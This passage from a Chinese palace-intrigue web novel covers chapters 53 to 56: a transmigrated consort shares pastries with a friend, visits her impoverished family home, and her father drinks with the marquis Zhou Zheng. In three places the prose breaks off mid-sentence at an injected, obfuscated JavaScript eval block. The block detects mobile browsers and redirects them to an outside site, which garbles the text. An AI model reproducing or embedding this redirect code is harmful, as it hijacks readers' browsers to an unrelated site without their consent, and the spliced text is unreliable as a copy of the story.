云昭昭说着握住易琉璃的小手,“琉璃,你记住了,以后不管发生什么,你都别再为我求情了,保护好你自己才是最重要的……” 易琉璃闻言,一口牛乳糕还包在嘴里,鼓着腮帮子呆呆愣愣地看着云昭昭。 “娘娘……昭昭,”易琉璃将牛乳糕咽下,急忙解释道,“那天,中秋宴会上,我知道你是被冤枉的,之前我在你这里你明明为了我,都打翻了那碗蟹肉羹……我知道你绝对没有害纯容华,那天没能救下你,还让你被陛下怪罪,都是我不好……” 眼瞅着易琉璃快哭出来了,云昭昭拍拍她的手,突然笑了:“你看看咱俩,同一件事,你为我愧疚这么久,我为你过意不去这些天,像不像两个傻子?何必呢,哪有吃着好吃的说这些的呢!” 易琉璃被她一逗,也情不自禁地笑了。两人很快就将一桌的糕点一扫而空,悠闲地喝着小米粥。 “对了,昭昭。” 易琉璃端着碗,看了一眼几个宫女,见没人注意她们,忽然有些神秘地冲云昭昭小声道: “上次你送我的那几本书,嗯,那几本四五书经,真好看……看得我废寝忘食的,还被冬哥说了呢。” 在穿书前,云昭昭就觉的最快乐的事莫过于成功跟自己的姐妹安利出去自己喜欢的小说。没想到穿书后,竟然能在易琉璃这里,重新获得这种快乐。 她激动极了,朝易琉璃眨了眨眼,豪爽地说:“你喜欢就好,上回那几本看完了不要紧,看在你为我做了这么好吃的糕点的份儿上,正好我最近要出宫,到时可以去搜罗些有意思的带回来,你直接来我这儿拿就行!” “真的吗?!”易琉璃眼睛都亮了,正想要同云昭昭道谢,这时忽然想起另外一事,刚才因为与云昭昭一起分享美食,竟然将这么重要的事情忘了。 于是她赶紧说:“昭昭,我今天做这糕点来其实不是为了那几本书来的。” “那是什么?” “就是上次你跟我说的,我兄长的事……”易琉璃回答道,“前一阵子我收到了家里的来信,父亲在信上说,易子骁……我兄长在五军营里因言行不正受了罚,还丢了职,他想到我在宫里得了陛下恩宠,便向让我在陛下面前替他求求情,不说恢复原职,至少也在禁军里谋一份差事。” 云昭昭闻言只觉得大快人心,并不屑地吐槽道:“他想得到美,就易子骁这种货色到了禁军,不知道又要祸害多少青春貌美的宫女。” “就是说啊……真的谢谢你,昭昭,是你让你爹托人在五军营里惩罚了我兄长吧?” 经易琉璃这么一说,云昭昭这才想起之前在易琉璃面前夸下的海口。 她这段时间事情实在太多,早将自己当初的话忘得一干二净了,自然也不肯能托云琛找人去教训易子骁,替她出气。 那么一向在五军营中耀武扬威惯了的易子骁又怎么会突然遭此“大劫”呢? 云昭昭突然想到了一个人。周徵。 这种铁面无私,秉公办事的作风很像是周徵干的出来的。况且原书里周徵暗恋着易琉璃,易琉璃入宫前受尽了易子骁的欺负,周徵为了喜欢的人做这些也是再正常不过的。 等等! 云昭昭想到周徵,忽然一下子想起了自己答应了周徵要在辰时与他碰头,而自己吃着易琉璃送来的点心就忘了,他这时候应该已经在宫门口等了自己很久了! 坏了。以周徵的性子,云昭昭确信自己今天又没有好果子吃了。 “昭昭,你怎么了?” 易琉璃见云昭昭半天不回答,且脸色一下子有些不对,紧张极了。 “你不舒服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108329|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?是不是,我做的点心有问题,让你吃坏肚子了?” 云昭昭赶紧摇摇头,虚弱地说:“呃……没事,我没事。” 她擦了擦额头的薄汗,也不好意思跟易琉璃说易子骁之事其实自己已经忘了,便只好应承下来。 正好这时玉绯前来收拾桌子,云昭昭向她一打听时辰,才知道辰时不仅早就过去了,甚至现在都快到午时了! 也怪她与易琉璃太过投缘,说着美食,说着话本子,一下子连时间的流逝都感知不觉了。 云昭昭匆忙告别了易琉璃,赶到宁远门的时候,远远地便看到了等在那里的周徵。 他今日少见地穿了一件白色的长衫,头戴象征武安侯爵位的白玉金冠,腰间配着黑色的锦带与黑曜石配饰,脚踩暗金云纹黑色长靴,身材颀长,气度不凡,远远看去积石如玉,列松如翠,那芝兰玉树的模样不知道的还以为是哪个世家贵公子呢。 云昭昭之前见到他,不是身着锦衣卫的制服,就是一身劲装,还从未看过他这等正经的装束。 果然是人靠衣装马靠鞍。 从前她从未觉在意过周徵的长相,现在被这身衣服衬托的,倒让她更想走进一看了。 周徵很快也注意到了云昭昭,与他身上那件白衣相比,他的脸简直黑得不是一般的黑。 刀刻的轮廓在蹙着的眉眼与绷着的唇角衬托下,显得更加冷酷锋利,甚至,杀气腾腾。 “你知道我在这里等了多久吗?” 周徵积了一肚子怒气与怨气,待云昭昭走近,就劈头盖脸地挖苦道: “将近两个时辰!两个时辰,足够突厥人掠夺完我大周边境的一整座城池;两个时辰,就是爬得最慢的王八,也能绕皇宫外走上三圈!昭阳殿离宁远门最近,不过两三里路,云贵妃有手有脚的,不会比王八还慢吧!” 被讽刺的滋味很不好受,可这次云昭昭确实不占任何理,只能任由周徵黑着脸继续讽刺自己。 “我错了还不行吗!”云昭昭撇了撇嘴,跟在他身后道,“早上本来要出门的,谁知道易贵人带着糕点来拜访,美人一番好意怎么可以轻易辜负?” “那你就让我在这里等这么久?”周徵余怒未消,毫不客气地指责道,“亏得我以为你很重视今日这次出宫,想要尽快多查出点线索,辰时不到就在宁远门处等着了,结果你竟……” 周徵气得欲言又止。 云昭昭只好赔笑说:“消消气,消消气,我这次纯属意外,以后绝对不再迟到了,武安侯你就大人有大量,饶了在下吧。况且,你还不是为了博美人一笑煞费苦心。” 听到她说美人,周徵一脸茫然,云里雾里的,不知她究竟所指为何。 今日的天气难能可见的爽快,虽初冬已近,但依旧暖阳灿灿,洁白的棉絮状流云拖着长长的尾翼在蓝天上漂浮,几只纸鸢在空中悠然滑过。 融融的阳光照在眼前巧笑倩兮的女子脸上,让原本就明艳得刺眼的笑容,更加耀目。 不似深闺贵女那般矜持,也不像酒楼歌榭中的舞女那般张扬妩媚。 而是一种生机勃勃的,带着生命力、与感染力的笑容。 云昭昭见周徵一言不发地盯着自己,脸上甚至还有一抹诡异的红晕。她当即以为自己正好说中了周徵心事,连忙反问道: “被我说中了吧?听说五军营中易子骁受了罚,还被革了职,不是你为了博美人一笑,又是什么呢?” 谁知这话反倒让周徵更加迷惑:“什么美人?易子骁又是谁?” 54. 回家 云昭昭没料到周徵竟然不知道易子骁,那他怎么帮易琉璃教训的她兄长呢,难道不是他? “易子骁是翠微宫易常在的嫡兄,他父亲乃佥都御史易安国,母亲是南平县主,此人生得肥头大耳,仗着父母的权势,不学无术,纨绔风流,他在五军营中的官职也是家里托了关系帮他花钱买的。” 周徵听云昭昭的描述,脑海中终于有了那么点印象,怒气也稍稍消了一点。 “你这么说,好像确有此人,罚他的是我,请求陛下革了职也是我。”他说。 云昭昭说:“易常在还未入宫时,此人总是在家想尽了花样地捉弄她,欺负她。你这次给了他这么大个教训,想来易大人与南平县主脸上也不好过,真是替易常在出了好大一口恶气,这难道还不算博美人一笑?” 周徵闻言,一本正经地解释道:“那日正好是军中士兵们的休沐日,我见有其中一队少了一人,一问才知道少的是一名少年士卒,他的同袍们说起他的情况都支支吾吾,我只好亲自去营帐中查看,这才发现他受了那易子骁的欺辱,身体流了血,还发了烧……” 云昭昭一听便知道发生了何事,她看书的时候只知这易子骁没事就喜欢去一些勾栏戏院,经常与一些妓女歌姬厮混,却没想到此人竟然如此荤素不忌,男女通吃。 周徵一看就是治军严厉之人,定是不容许军中有这样的人存在的,这易子骁被除了职也算是合情合理。 再瞧周徵这一脸的严肃,以及一板一眼的解释,让她有些拿不准周徵是真的误打误撞,还是掩饰得太好。 周徵不知云昭昭今日为何一而再再而三地提起易常在,他与易常在仅是在宫中几次宴会上见过几面,连话都没说过,更谈何什么男女之情? 更何况,他一向小心谨慎地与宫中女眷们保持着距离,绝不可能同她们有任何牵扯,且不说易常在还是赵昶的妃子,而他则是赵昶的臣子。 周徵回过头,发现云昭昭在后面走得很慢,一边走一边还拽着裙子,目光飘散,不知道脑子还在想些什么,一眨眼的工夫,已经落后了自己一大截。 他停下脚步,没好气地催促她:“明明迟到了快两个时辰,已经是午时了,你还这样慢吞吞的要走到什么时候去?难不成贵妃娘娘身子金贵,出宫调查个事情还要我用八抬大轿将你抬着?” “你!”云昭昭狠狠地瞪了他一眼,本想还几句嘴,但碍于自己确实迟到了很久,也只能忍了。 不过这家伙说话也忒难听了点儿,亏她方才还在想着什么时候在易琉璃面前替他说几句好话,简直是个白眼狼。 她赶紧加快了步伐,一路小跑着终于追上了周徵。 半个时辰后,云府的朱漆大门终于出现在了街道的尽头,匾额上的烫金大字在晌午的阳光下灼灼耀目,刺得云昭昭眼睛起了酸胀之意。 距离她走出这道大门已经一个月了,虽然她从没觉得自己不会再回来了,但也没想过这么快就能又回来,回到这个陌生世界里唯一可以称作“家”的地方。 云昭昭百感交集地敲响了大门,新换的门子见是她回来了,连忙一脸喜气地回去通报。 踏入府中,又走过那熟悉的回廊,两侧园子里的山石草木都历历在目,好像从前刚穿书时那段无忧无虑的日子尚在眼前。 这短短的一个月发生了太多的事,其中的不真实感让她觉得好似过了数年之久,再回到云府,虽然府中布置与她离开时并无二致,但细看过去却总觉得已不大一样。 不知道是不是快入冬的缘故,园中虽有松柏、冬青、黄杨等常青的树木,但在落叶萧萧间,枯枝掩映下,仍旧显得尤为萧索。 曾经云昭昭最爱的那片月季园,虽然粉色花苞爆满枝头,但灌木之间竟生了不少杂草,看来是疏于打理已久。 再往近处细瞧,头顶的长廊两侧还挂着她入宫时候的喜字宫灯,风中摇摆的大红流苏有不少已经褪了色,上面糊着的绢纸经过日晒雨淋和风吹开始脱落,翘边,但即使这样,也没有人将它们取下来更换。 而脚边的池塘里,居然还“屹立”着几株已经彻底枯死的残荷,卷曲的荷叶上积了不少昨天夜里降下的霜,已经已经化成了一小滩露水。 云昭昭边走边看,这一个月里云府果然发生了不小的变化,结果越往里走,她才终于意识到,最大的变化就是府中的人丁少了许多。 之前虽然府中的主子只有他们一家三口,但伺候各处的小厮丫鬟仆妇加起来也有一百余人,无论她走到园中各处,总能看见大家各司其职的身影,而瞧着府中如今的清冷劲儿,府里的下人们至少少了一半,从前一些熟悉的面孔也不见了。 再往前走便是饭厅,刚才府中的一名丫鬟来报说老爷夫人正在饭厅等着他们。 远远地看到饭厅门口站着两个身影,云昭昭甚至顾不上周徵,便小跑着冲到云琛与柳氏的面前。看见二人,她方才在府里忍了一路的眼泪,终于再也忍不住地流了出来。 “爹!娘!女儿回来了!” 柳氏一把搂住自己的宝贝女儿,心肝儿地叫着,一边叫一边抹去脸上的泪。 之前母女二人已在诏狱见过,而今日的柳氏看着反而比之前在诏狱里气色好了许多。 云昭昭从柳氏怀里离开,抬眼就望见一旁负手而立的云琛。 他比之前苍老了太多,不仅鬓发皆白,身形相比从前的意气风发也更显精瘦岣嵝,这一连数日他都强行同赵昶告了假,未曾上朝,所以今日只穿了一件豆青色的粗布麻衣,看上去与田间的平民老头无异。 “爹……”云昭昭涩着嗓子唤他,云琛只冲她点了点头。 他把叙旧的光景都留给母女二人,自己则在一旁静静地站着,虽然一言不发,也面无微澜,但云昭昭还是能感觉到他内心的波动。 父爱如山,深厚,坚毅,但也无言。 因为已过午时,正是饭点,厅内的圆桌上已摆上了午膳,菜色十分清减,出了几味时蔬外,肉菜只有一道,饭菜皆只动了一小点儿,想来是二老正准备用午膳时,自己便来了。 “刚才听说你回来,娘已经吩咐了厨房,让多做几道你爱吃的,现在应该已经做下了。”柳氏笑吟吟地说。 云昭昭皱了皱眉,问道:“娘,咱们家什么时候变得这么节俭了?” 她指着桌上的几盘菜说:“你瞧这,你和爹吃的这是什么?而且女儿一路上经过,发现家里不少眼熟的仆人也不见了,爹,娘,咱们家,到底发生了什么?” 柳氏闻言笑容一滞,掩饰道:“你这孩子,从小就是爹娘的掌中珠,爹和娘自然要给你最好的。可如今你进宫去了,就剩我和你爹,我们老两口也不需要那么多人伺候,索性打发了,耳根子也清净。” 柳氏的说辞云昭昭自然是不信的,原书里描述的云家,钟鸣鼎食,玉盘珍馐,就算没有女儿,云琛也舍不得委屈了自己的老婆。唯一的解释只有家中出了一些变故,导致没法没法再像以前那样奢侈了。 她环顾四周,突然注意到过去厅堂中陈设的一些价值连城的古玩字画,竟也没见了踪影,多半是卖掉了。 于是她试探性地问道:“爹,那幅你最爱的北宋崔白的《秋浦蓉宾图》怎么不见了?” 云琛淡淡地回答说:“再喜爱的物件,老挂在那儿,看也看腻了,索性就收到仓库里去了。” “爹你骗人!”云昭昭立刻拆穿了他,“那只龙泉窑凤耳瓶怎么也不见了踪影?还有之前宫里送来的两枝南海珊瑚……” 见什么都瞒不住自己的女儿,云琛只好颇为无奈地摇了摇头,叹气道: “哎,朝中的事想必你也听说了,陆仁他们虽不是为父的关门弟子,但在翰林院里,也算是与为父有师生之谊,如今他在内的三人因为父而死,还有多人也戴罪入狱,少不得要多方打点,将其家人安置好,这也是为父应该做的。” 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108330|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这光这饭厅中少了的东西都价值数万两银子,更别说整个府中其他地方了,这各处节约下来的这么多钱,难道全是用去打点了? 云昭昭将信将疑。 谁知这时,周徵也到了饭厅,一进门就听见了云琛的这番解释。 他立刻出言嘲讽道:“果然纵观整个朝廷,再没有比阁老更会做人的了。怪不得那么多人,就为了您的那一点声誉,也甘愿为您肝脑涂地,豁出去性命。或许他们觉得值得,就是不知道他们的家人会如何看待您。” 他一进门就这般不客气,云昭昭黑了脸,就连柳氏面上也不太挂得住。 只有云琛面不改色,平静地抚须,然后笑道:“多日不见,侯爷第一次脱去戎装,换上新衣,果真是一表人才。” 果然,云琛就算在家养病多日,也依旧是那一副开口滴水不漏的老狐狸模样。 周徵最看不得他这般,他欣赏的一直是那些胸无私心,忠君护主,直言敢谏之人,而云琛这样的人,虽有能力,但城府深,伪装强,最擅长的就是打着冠冕堂皇的旗号虚与委蛇,他是不想也不屑与这样的人为伍的。 所以对于云琛的一番恭维,周徵只回以一声冷哼。 碰了他的冷脸,云琛也并不生气,反而答谢道:“老夫还未谢过侯爷,之前内人意外进了诏狱,还多亏侯爷有心维护,未曾亏待于她;而小女在宫中被禁足多了,也是侯爷下令解了禁,让其重获自由。侯爷的大恩,我们云家如今有些拮据,实在无以为报……” “哼,不必了。”周徵冷冷道,“本侯之所以那么做,也是为了陛下,并非有意要围护你们云氏一党。” 云琛笑呵呵道:“这是自然,那既然侯爷如此慷慨。老夫也只能留您在府中吃一顿午膳,以酒款待了。现在已不早了,侯爷回府也要未时去了,不如就留在府中用午膳吧。” 周徵想了想,不置可否,反而盯着云琛这一身粗布麻衣和桌上的菜色,犀利地问道: “敢问阁老还打算装病到何时,阁老尝惯了山珍海味,如今吃着这粗茶淡饭久了,恐怕没病也要吃出病了吧?” 云琛谦虚地笑笑说:“侯爷说笑了,遥想当年老夫同夫人刚上京时,三餐吃的还是馒头咸菜呢,跟那时候比起来,这粗茶淡饭已经是莫大的福气了。” 周徵见这老狐狸果然还是和从前一样,也懒得再和他绕弯子,便说: “阁老可知,令爱今日得以出宫,是因为在陛下面前争取了十日机会,要调查纯容华之死和贵府出去的丫鬟汀雪一事,而本侯也是暂时保她在宫外的安全,若是十日已过没有结果,阁老今后就只能在阎王爷那儿装病了。” 哪知云琛把云昭昭夸了一番:“老夫这女儿,从小娇生惯养,什么事都要我与她娘为她安排,如今竟有勇气向陛下争取机会,老夫身为一个父亲,得女如此,甚是欣慰啊。” 他说完又道:“已经不早了,侯爷同昭昭一路出宫想必也是饿了,‘洪范八政,食为政首’,其余的事不如先放放,先同陪老夫一起用完午膳后再议罢。” 见云琛已经这样说了,云昭昭和柳氏也不好再有异议,云琛便吩咐了下人有多添了一双碗筷,为周徵设座。 因为他的加入,四人坐在一起,也没什么言语,只沉默地吃着眼前的食物,好端端的一顿饭的氛围竟诡异无比。 云昭昭本来准备好多话,还有关于朝中,关于汀雪的问题要问,但现在只好全部咽在了肚子里,让她好不憋屈,口中的食物吃起来也味同嚼蜡。 只有云琛似是十分享受一般,专注地品味着眼前的食物,好像面前这些再普通不过的家常小菜比原来府中的鱼翅珍馐美味数倍。 吃到最后,他甚至不知道从哪里翻出了一坛老酒,邀请周徵与自己同品。 “昭昭与夫人可到后宅休息,”云琛亲自斟上了两杯酒道,“老夫还有一些事想要与侯爷单独小叙,不知侯爷可否赏老夫这个薄面?” 55. 对饮 周徵迟疑片刻,从云琛手中接过酒杯。 待柳氏与云昭昭母女二人离开后,饭厅内便只剩了他们二人。 周徵端着白瓷小盏,迟迟未曾饮下,杯中酒液清透,泛着一种淡淡的红色。 “这是老夫的夫人家乡盛产的桃花酿,取的是每年新收的高粱酿制,再泡以次年三月最美的桃花,封存十年,方得这酒色。”见周徵迟疑不饮,云琛笑问,“怎么,侯爷是担心老夫这酒里有毒?” 说着他抬头将自己杯中的酒一饮而尽,末了,他回味着舌尖残留的酒香,将空空如也的杯底展示给周徵。 “瞧,酒里没毒,”云琛说,“但就算有毒,这人一醉也感觉不到疼痛,而人一死也就解了千愁。人间之事,喜怒哀乐,也尽数藏于这琼浆玉液中。” 周徵听他话中似乎另有深意,忍不住好奇问道:“人间之事,尽在酒中?阁老这是何意?” “呵呵。”云琛笑了笑,也不勉强周徵,又独自为自己斟了一杯,这次他只是抿了一小口,慢慢地砸吧着高粱与桃花的滋味。 “难得与侯爷一同畅饮,老夫的意思是,众生活在世上,嗔痴怨怒,皆是虚像,切莫执着太过。”他端起杯子,欣赏着那酒奇异的颜色,又说,“执着太过就如醉酒一般,梦中种种,都是镜花水月,醒来还是一场空。” 周徵怔怔地盯着面前小小一杯酒液,突然从云琛谜语般的话里会了意。 他将杯中酒一饮而尽后,警觉地盯着云琛,问道:“阁老留我下来究竟所为何事?难道就是为了随意点评他人的人生吗?” 云琛见状,索性也不卖关子了,对周徵说:“老夫其实清楚侯爷放走内人,解禁小女并无维护老夫之意,毕竟天下事都讲求一个制衡,但侯爷有没有想过,你此举虽是为大局考虑,但却也违背了陛下的意愿,你一意孤行,已经彻底惹恼了陛下,之后你又该如何收场?” 果不其然,这老狐狸前面给他打了这么多的哑谜,最后还是绕回到了这事上。 周徵当场十分不屑,言语中也不吝显露讥诮:“阁老消息还是如此灵通,虽称病在家,但朝中一丁点儿的风吹草动果然还是逃不开你的眼线,连御马监这样的地方换血多次竟依然保留着你的人。” 他嘲讽完又回答了云琛的问题:“以后怎么办?自然是全力找出将纯容华、郭院判等人害死的元凶,并替陛下彻底除了这隐患,之后的事,想必阁老也清楚了。 一山不容二虎,天下终究是陛下的天下,朝堂终究是陛下的朝堂,我自然会倾尽全力,保陛下江山稳固,促国祚繁荣昌盛。” “呵呵呵,”云琛不予置评,只笑着将酒杯边缘与周徵一碰,随后一饮而尽。 “……”周徵见他似乎面上多有对自己的轻视之意,忍不住追问,“那阁老有何高见?” 云琛道:“不瞒侯爷,老夫从前一直将你视为劲敌,如今一看,老夫未免还是太看得起侯爷了。本以为侯爷一表人才,心思深沉,乃有野心有抱负之人,却没想到是如此幼稚,如此冥顽不灵。” “你这老贼!你什么意思?!” 听到云琛竟然这般否定自己,周徵立马恼了,将酒盏重重搁置于桌上,起身拔出佩刀,怒道:“我对陛下一片忠心,怎可凭你在此挑拨离间?这酒我不喝了!”说着便要走出饭厅。 “侯爷留步!”云琛提高了声调道。 见周徵脚步顿住,他便继续说: “老夫并非要在这里挑拨侯爷与陛下的关系,只是想提醒侯爷,陛下一向对我云氏防备甚深,这次却忽然同意要放小女去调查那下毒的元凶,陛下此意乃是醉翁之意不在酒。” “你是说……说他,他要试探我?”周徵的心终于沉了下去,脚也再迈不出半歩。 “不错,”云琛道,“陛下自然清楚仅凭昭昭一名女子,就算她再聪明,也不可能完成这个任务,但加上侯爷您可就不一样了。您武功高强,又机警智慧,担任指挥使期间,替他了结了不少贪官佞臣,是调查此事再合适不过的人选。” 周徵:“……” “结果当时在宫里,昭昭提出要十日机会时,陛下却并未将任务直接指派给侯爷,而是转而交由薛炼负责,为的就是试探侯爷。一旦侯爷主动参与进来,那就是坐实了侯爷与我云氏有所勾连。” “……你,你胡说!”周徵大声反驳道。 但尽管如此,他随着云琛的话却越想越细思极恐。刚才那一声驳斥,不过是外强中干,此刻心里其实早已七上八下。 云琛又继续说道:“尽管侯爷你很难接受这个现实,但看在你对我一家有恩的份儿上,老夫就把话给你再敞明些吧。” 周徵一声未吭地站在原地,云琛只当他是要听,便徐徐向他分析道: “陛下那里,虽说是暂时免了侯爷的职,但侯爷想将来再做回那锦衣卫指挥使的位置也是不可能了。以陛下的性子,他绝不会再轻易任用一个明着不听从自己指令的人,如今不过是碍于京中四大营的关系,才暂时保留了侯爷的爵位。” “呵!”周徵背着身,冷笑一声,不假思索地说,“无所谓,为人臣子,只要能保证陛下的安全,这武安侯的爵位算得了什么?削了倒也痛快!别说爵位,就是我周徵的一条命也是皇家给的,陛下若是需要我身死,我也在所不惜!” “侯爷此言差矣,” 云琛听着他语气里的怒意与不甘,惋惜地摇了摇头,可惜周徵背对着他,看不见。 “侯爷从小与陛下情同手足,一起于宫中长大,是最了解的陛下的人,侯爷以为陛下其人如何?” “背后妄议他人,还是陛下,非君子所为,亏得阁老还是读过圣贤书之人。” 云琛根本不以为意,“那老夫就明说吧,陛下登基以来的所作所为,一老夫侍奉三朝君王之见,过于刚愎自用,恣睢妄为。侯爷以为没了武安侯这顶帽子,将来便能落得一身轻吗?非也。武安侯这个身份将来可以随时在战场上为国捐躯,而周徵,作为知道了他那么多秘密,又对他了如指掌的一枚弃子,只能用最简单粗暴的方式处理掉,从这个世间彻底消失。” “我不在乎!” 几乎是不受控制的,周徵喉咙里爆发出这样一句话。 “……”见他彻底恼了,云琛也不再多说什么,只好独自为自己斟酒,然后饮尽。 周徵站在门口,胸膛如风箱般剧烈起伏着,身体的温度也在一点一点地流逝,像是僵在了原地一样。 云琛的声音很轻,徐徐道来的语调带着一如既往的悠闲,却如同敲打在周徵心头的钢锥,字字锥心,句句透骨。 屋外的冬青树上,麻雀三五成群地叽叫不停,仿佛在嘲笑他的可悲与愚蠢。 半晌后,他平复着剧烈的呼吸,故作镇定地重复了一遍:“我不在乎……” “从小就被说是罪臣之子,我便发誓,将来一定要向世人证明,我不会叛国,也不会叛君。” 这是他一直以来藏在心里的呐喊,但今天,或许是在酒意的催发下,他竟然面对云琛,将这话说了出来,就连他也不知道,他说这些,是为了自证,还是为了其他什么。 “所以,”周徵一字一句地说,“只要能帮陛下扫清障碍,我甘愿接受这样的死法。” 谁知他的话并未令云琛动容,他反而淡笑着,毫不留情地指责道:“方才老夫点你太过固执,你还不以为意……本来,老夫从前还将你视为最麻烦的存在,可没想到堂堂武安侯,竟是这般胆小之人。” “你……”周徵本能地想要反驳,却又迟迟未能开口。 “听着,年轻人,无论苟且偷生也好,还是臭名昭著也罢,只要活着才有机会逆转一切。” 云琛边说边斟满了自己面前的,和面对的两只酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108331|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杯。 “如今世人都道我云琛热衷于结党营私,欺君擅权,而都察院的佥都御史易安国则勤勤恳恳,恪职慎言,但老夫一朝得势后却对同甘共苦的发妻不离不弃,唯一女儿也视为掌上明珠。他易安国却弃了婚约,转而高攀南平县主,后来时常在外风流,儿女也尽是不成器之徒,所以那些名声又有什么要紧?” 周徵不言。 云琛对发妻情深意切,发迹后从未纳妾,甚至柳氏多年未育也并未遭受嫌弃。这在朝中确实也广为流传。 但他不知云琛说这些又是为了向自己证明什么。事有黑白,人有善恶,他云琛专一不纳妾是一回事,但在朝中结党,功高盖主,又是另一回事。 周徵转过身,略微不解地看着这个头发花白的老人。 云琛喝了一口酒,似是有些醉意:“老夫说这些,可不是为了证明什么,这人上了年纪,难免有些絮叨,还望侯爷海涵。” 说罢他又接着道:“老夫是想说,老夫后来功成名就,权势金银样样在手,才可使自己那富农出身的夫人在京中各大宴会上受王公贵族府中的女眷顶礼膜拜,才可保自己的女儿从出生起便拥有其他京中贵女想都不敢想的人生,就算她想嫁的是皇帝又如何?老夫也照样可以替她做到。” 周徵竟有些许被云琛的话说服,他静静地盯着这个在朝堂上挥斥方遒,心机深不可测的老头,看着他座位对面那杯斟满的酒,默默地走过去,拉开椅子重新坐下。 “照此所言,那阁老如今散掉家财,过去苦心专营全部化为泡影又有何意义?” 这次他言辞虽然依旧犀利,但言语中并无不敬,他是真的好奇,聪明如云琛,将会如何面对自己的命运。 他说:“况且若是十日后,令爱查不出结果,便会被诛九族;就算查出来了,无论是陛下还是我,在对付完那下毒之人后,下一个出手的对象便是阁老。” 云琛笑笑,示意周徵与自己碰杯,随后徐徐解释道: “人生贵在体验,久居高楼,福分享得多了,自然也有跌落谷底的时候。而且就算死,老夫的夫人必会生死相随,老夫的女儿也不会坐以待毙,抛弃我们,就像侯爷吃饭时所说,我们一家三口在阎王爷那儿团聚,比起世上那些活到最后的怨偶夫妻,反目父子,不也好了很多吗?” 周徵:“……” 云琛的话,让周徵彻底地陷入了迷思。不得不说,他确实对云琛有了些许改观。 他闷闷地喝着酒,思索着刚才云琛的话,那原本清甜甘醇的桃花酿竟被他品出一丝苦意来。 突然,他听到云琛冷不丁地问了一句:“老夫其实还有一问,侯爷觉得,单论能力,陛下的能力如何?侯爷你自己的能力又如何?” 周徵不知他为何又想知道这些,便如实答道:“陛下乃背负天命所生的天之骄子,虽情绪上还需沉淀,但有雷霆手腕与广博目标;我不过是一介武夫,只空有些武力罢了……” “错,”云琛打断他,目光炯炯,“以老夫之见,侯爷的能力绝不弱于陛下,甚至还强过太多。只是侯爷在对待自己上,赶陛下差得太远了。” 周徵从云琛的发言中嗅到一丝危险的意味,他警惕道:“阁老何意?” 云琛笑了笑说:“老夫只是觉得,或许侯爷与我不应该成为敌人才对。” 他说罢看到周徵一脸震慑的表情,只适可而止道:“不过侯爷对陛下的忠心,无人不知,老夫也就只是说说罢了。” “我必也不会受你的蛊惑。”周徵道。 他说罢端起酒杯,杯中淡红的酒液中飘着一片失了色的桃花瓣,应是酿酒时没有滤出去的。 它似一叶孤舟,在酒汤中漂啊又漂,却怎么都漂不出这方寸的囹圄之间,只能在原地不断地打转。 他看了一会儿,终于端起酒杯,就这那片桃花瓣一起,将杯中酿饮入腹中。 56. 东瀛 离开饭厅后,柳氏拉着云昭昭回到了自己房中。 云昭昭还未来得及向她打听家中的情况和汀雪的事,就见柳氏忙不迭地开口,脸上带着责备之意。 “昭儿,上次在宫里,娘是怎么跟你说的,这才过了多久你就忘了?” 云昭昭不知柳氏指的是何事,只好一脸懵懂地望着她,“娘,您说什么?” “嗯……”柳氏无奈,用手指轻轻点了一下她的额头,“你这丫头,果然娘提醒你的话就没往心上去,我叫你不要同那周徵来往,你可答应的好,现在呢,反而带着他到家里来了!” 云昭昭这才恍然大悟,想到之前柳氏所言,不由地哭笑不得地撒娇道: “女儿没忘呢,娘自己又没说清楚……况且那周徵,女儿也是想着调查一事,薛炼不便出宫,有他在身边,倒是安全些,他多半也是不放心女儿独自回家与爹一些谋划些什么,索性才跟了来。你瞧,我们各自提防着彼此,娘你还担心什么……” “你呀,你这张嘴呀。”柳氏笑着搂住她,捏了捏她的脸蛋,“他虽然上次歪打正着,帮了我们云家,但你也还是要记着,武安侯这个年纪身边还没个女人,越是这样的人你越要小心……” 见柳氏越说越偏,为了彻底安她的心,云昭昭只好搬出真相:“娘,你就别瞎担心了。武安侯他现在已经有喜欢的女子了,之前还为了她拒绝了陛下和太后的赐婚呢。” 柳氏一听来了兴致,忙问:“哦?是谁家的女子?” 云昭昭眨了眨眼睛,故作神秘又带着点八卦的语气道:“是翠微宫的易常在。” “什么?!” 谁知柳氏听后并未像她所希望的那样燃起熊熊的八卦之心,反而大惊失色道:“那易常在是皇帝的妃子啊,他是皇帝的臣子……这,这怎么能!” 云昭昭心里一阵叹息,自己骨子里还是个现代人,差点忽视了古人在这方面的保守。其实,也就是给老板公司卖命的打工人爱上了老板娘嘛,没什么的。 